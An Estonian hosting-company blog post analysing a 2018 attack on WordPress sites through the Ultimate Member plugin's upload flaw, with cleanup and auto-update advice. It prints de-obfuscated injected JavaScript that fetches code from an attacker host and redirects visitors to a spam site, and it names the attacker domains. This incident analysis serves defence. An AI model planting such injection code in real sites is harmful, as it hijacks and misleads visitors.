Kolme päevaga turvapaigast rünneteni: Ultimate Member

Veebirakenduste ja nende pluginate-teemade turvapaikamisega tuleb tegeleda sagedamini kui kord kuus või nädalas, sest parandusega versiooni avaldamise järel on õnneotsijad mõne päevaga platsis.

Enne kui lugema hakkad – kui sinu WordPress kasutab Ultimate Member plugina versiooni, mis on vanem kui 2.0.23, siis palun uuenda see jooksuga ära!
09.08.2018 paigatud turvaprobleemi ärakasutamine on käimas ning esimesed meile silma hakanud veebid said pihta 12.08.2018 öösel (mujal on nähtud ründeid ka enne paikamist). Seejärel uuri postituse lõpust kuidas tagada, et pluginad edaspidi ise uueneksid.

Seekordne näide jõudis meieni ühest veel nädal tagasi igati turvalisena tundunud veebist, mis üleöö hakkas külastajaid sellisele veebilehele suunama:

Vaadates failide muutmise aegu, hakkab silma üks öine komplekt:

Nagu näha, siis on tehtud muudatused kõigi teemade päistele viitavates failides… Ning enne seda on justnagu ultimatemember alla midagi üles laetud. Ja see midagi – on .php fail, lisaks mingi t. Vääääga põnev!

Vaadates sama kellaaega veebiserveri logifailis, avaneb järgnev pilt (IP on tõenäoliselt kompromiteeritud server OVH farmis):

Süvenemata detailidesse võib oletada, et POSTis olevad parameetrid koostöös referreriga site.com/wp-admin/admin-ajax.php (lisapunktid site.com eest, pole vaja ründe näidiskoodi sudima hakata!) annavad kasutajapildi postitamiseks vajaliku ühekordse liisu ehk nonssi (nonce) ning siis saadetakse /um-api/route/um!core!Files/ajax_image_upload kaudu üles “pildilaadne toode”, täpsemalt .php laiendiga GIF (häälda korrektselt!), mille sees on PHP kood:

GIF ise on väga nunnu, aga nagu näha, siis laeb Pastebin’ist alla sisu, millest saab t fail – see aga tegeleb *head*-nimeliste failide otsimisega ning lisab neisse lingi pahatahtlikule JS failile (olgu öeldud, et lisaks shell_exec versioonile on allpool sama realiseeritud ka puhtalt PHPs, juhuks kui esimene variant ei õnnestu):

Täiendus 24.08.2018 – lisaks src.eeduelements[.]com on nüüd kasutusel ka cdn.allyouwant[.]online domeen (viidatud Sucuri postituses, tuvastasime ka juba 2 ülevõetud saidi).

Aga ka see pole veel kõik – koodijupp läheb ka /wp-includes/js/jquery/jquery.js algusesse, juhuks kui keegi peaks teema ära puhastama:

Ääremärkus: kui sul on nt mõne cache-plugina poolt seatud javascriptide puhverdamine brauseris (tavapärane SEO-soovitus), siis kuvatakse häkitud saiti külastanutele vana versiooni veel pikka aega. Lihtne nipp on paigaldada ja aktiveerida Zone Cachebuster plugin, mille just tekitasin: see asendab JS ja CSS failide versiooni-parameetri räsiga, mis kasutab wp-config.php‘s olevat soola (ning soolad tasuks pärast ründekahtlust nii ehk naa ära vahetada).

See eeduelements’i jquery.js ei ole aga teps mitte see, mida nime järgi võiks oletada. Pärast väikest de-obfuskeerimist avaneb meile selline pilt ja näeme ära ka URLi, kust saab teada “reklaamitava” sihtmärgi:

function httpGet(url) {
  var $httpBackend = new XMLHttpRequest;
  $httpBackend.open("GET", url, false);
  $httpBackend.send(null);
  return $httpBackend["responseText"];
}
var curdomain = "https[:]//src.eeduelements[.]com/get.php";
var newlink = httpGet(curdomain);
if (newlink != "null") {
  (function() {
    var artistTrack = document.createElement("script");
    artistTrack.type = "text/javascript";
    artistTrack.async = true;
    artistTrack.src = newlink;
    document.head.appendChild(artistTrack);
  })();
};

Kas me võiks juba sihile jõuda, palun? OK-OK, paneme kaheksaks tunniks küpsise ja saadame külastaja parematele jahimaadele (kus ta saab praktiseerida uluk-, mitte jahimees-olemist):

if (/(^|;)\s*simtel=/.test(document.cookie)) {
} else {
  document.cookie = "simtel=1; max-age=" + 60 * 60 * 8;
  var t1 = "http[:]//murieh[.]space/?h=930130016_dc950a456f7_100&h_l=&h_5=sub_id_2&h_2=def_sub";
  document.location.href = t1;
  window.location.href = t1;
};

Kuidas puhastada?

Kui tegemist on täpselt sama ründega, siis:

  • uuenda Ultimate Member plugin;
  • kustuta /wp-content/uploads/ultimatemember/temp kataloogi sisu (NB: lisatud 16.08.2018, tx Henri tähelepanu juhtimast!)
  • kustuta tarbetud teemad;
  • kasutusel oleva teema alt otsi muudetud *head*-nimelisi faile, eemalda sinna lisatud võõra skripti link;
  • korista /wp-includes/js/jquery/jquery.js algusesse lisatud jupp, nt asendades selle puhtast WP paigaldusest võetuga;
  • kui sul on (nt .htaccess abil) lisatud Expiry päised (nt: ExpiresByType text/javascript "access plus 1 month"), siis lisa ja aktiveeri Zone Cachebuster;
  • kui sul on kasutusel mõni cache-plugin , siis tühjenda cache;
  • pärast rünnet alati: uued WP soolad, andmebaasiparooli vahetus, vaata üle kasutajabaas (eemalda kahtlased), vaheta admin-kasutajate paroolid.

Loomulikult võib nii selle kui ka teiste rünnete puhul kirjutada ka info@zone.ee ja meie tehnikutelt puhastamise tellida. Kui tegemist on teadaoleva skeemiga, siis on meil teada ka efektiivne puhastusviis. Kui on uus rünne, siis saame oma kollektsiooni uue näite ning saame teisi potentsiaalseid ohvreid ette hoiatada.

Kuidas tagada, et pluginad (ja WP) alati uuendatud saaksid?

Ülalkirjeldatud probleemi põhjustas plugin, mis oli alla ühe nädala uuendamata. Kurjategijad peavad aga uuendustel silma peal ning selgitavad turvapaiga avaldamist märgates kiiresti välja lapitud augu ärakasutamise viisi ning annavad kõikide teadaolevate WP-saitide pihta tuld: kõigepealt skann “kas plugin on olemas?” ning kui sellele on vastuseks “jah”, siis toimub automaatne sissemurdmine ja sait pannakse tegema “mida vaja”.

Mina seadistan oma WordPressid automaatselt uuendama nii WPd ennast (sh major versioone – vaikimisi paigaldatakse ainult väiksemad ehk minor uuendused) kui ka pluginaid, pannes paar rida koodi teema functions.php faili või kasutan mikropluginat Zone Updateall. Huviline leiab ametlikust pluginateegist otsinguga update ka hulga fääntsimaid lahendusi

Tasuliste pluginate-teemade puhul on enamasti vaja hoolitseda litsentsinumbri sisestamise eest… Või siis nõuab uuendamine mitte-standardset protsessi või vastavat lisapluginat.

2 mõtet “Kolme päevaga turvapaigast rünneteni: Ultimate Member” kohta

  1. Just täna oli sellega nakatunud veebilehe puhastamine käsil.
    Soovitan lisaks veel wp-content/uploads kaustast ultimate memberi temp failid ära kustutada.

    1. Loomulikult see kah – nimekirja täiendatud asjakohase punktiga! Kuidas krt ma selle suutsin ära unustada…

Kommenteerimine on suletud